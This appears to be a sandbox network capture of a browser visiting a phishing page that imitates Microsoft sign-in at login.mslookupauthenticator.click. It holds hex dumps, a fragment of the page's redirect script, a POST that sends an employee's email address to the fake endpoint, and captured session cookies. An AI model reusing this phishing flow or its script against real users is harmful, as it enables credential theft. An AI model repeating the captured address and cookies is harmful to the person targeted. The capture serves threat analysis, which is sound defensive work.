2024-12-10 14:09:58 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:09:58 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:09:58 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:09:58 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-12-10 14:09:58 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:09:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:58 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-12-10 14:09:58 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-12-10 14:09:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:09:58 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:09:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49813	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:58 UTC	2509	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
2024-12-10 14:10:29 UTC	30	IN	HTTP/1.1 408 Request Timeout
2024-12-10 14:10:29 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:10:29 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:10:29 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2024-12-10 14:10:29 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:10:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:10:29 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:10:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49859	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:16 UTC	3123	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive Content-Length: 1982 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 64746623-2385-49b9-86b8-87f9bfdb6400 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 5db22519-5e1e-4add-b5c3-31a49ef01e5d canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFewadhJVXPPV-69uEzNWnPv5dB2WSeIdjl2VdS6DoF3SpZn1NShwW0u6WfmcvYC2GK-fmrTHm4GeJ9XsXE5UFhPkJ4e2d7iZXorHnyF14lE5ItEyO3EJvLRDHdu3pJMoKjk7JfCwAJPR7NWZ8CDMUEf2xjPL83geILAPYkwVXz5YlOhba_WfB3I0bZiBS3iO4dGBifiq7Nx-qqED4k5pFhYSAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://login.mslookupauthenticator.click Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
2024-12-10 14:10:16 UTC	1982	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 6b 2e 62 64 74 40 62 65 6c 7a 6f 6e 61 2e 63 6f 6d 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 68 5a 49 37 6a 4e 74 30 41 4d 62 6a 35 43 35 33 46 77 47 4e 43 6b 4c 74 55 70 31 55 6b 42 44 43 69 64 2d 50 6b 7a 6f 34 7a 37 4d 54 32 79 52 6e 78 30 6d 6b 45 6a 6c 2d 4a 45 37 38 69 76 32 50 48 58 74 69 34 Data Ascii: {"username":"uk.bdt@belzona.com","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAhZI7jNt0AMbj5C53FwGNCkLtUp1UkBDCid-Pkzo4z7MT2yRnx0mkEjl-JE78iv2PHXti4
2024-12-10 14:10:17 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:10:17 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:10:17 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 35 64 62 32 32 35 31 39 2d 35 65 31 65 2d 34 61 64 64 2d 62 35 63 33 2d 33 31 61 34 39 65 66 30 31 65 35 64 0d 0a Data Ascii: Client-Request-Id: 5db22519-5e1e-4add-b5c3-31a49ef01e5d
2024-12-10 14:10:17 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:10:17 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2024-12-10 14:10:17 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 34 3a 31 30 3a 31 36 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 10 Dec 2024 14:10:16 GMT
2024-12-10 14:10:17 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-12-10 14:10:17 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-12-10 14:10:17 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-12-10 14:10:17 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49870	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:19 UTC	1596	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
2024-12-10 14:10:19 UTC	17	IN	HTTP/1.1 200 OK
2024-12-10 14:10:19 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:10:19 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:10:19 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2024-12-10 14:10:19 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 31 34 3a 31 30 3a 31 38 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 10 Dec 2024 14:10:18 GMT
2024-12-10 14:10:19 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-12-10 14:10:19 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-12-10 14:10:19 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-12-10 14:10:19 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2024-12-10 14:10:19 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2024-12-10 14:10:19 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49937	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:30 UTC	2744	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3 [TRUNCATED]
2024-12-10 14:11:01 UTC	30	IN	HTTP/1.1 408 Request Timeout
2024-12-10 14:11:01 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:11:01 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:11:01 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2024-12-10 14:11:01 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:11:01 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:11:01 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:11:01 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49996	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:42 UTC	721	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1733839840368 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.microsoft.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
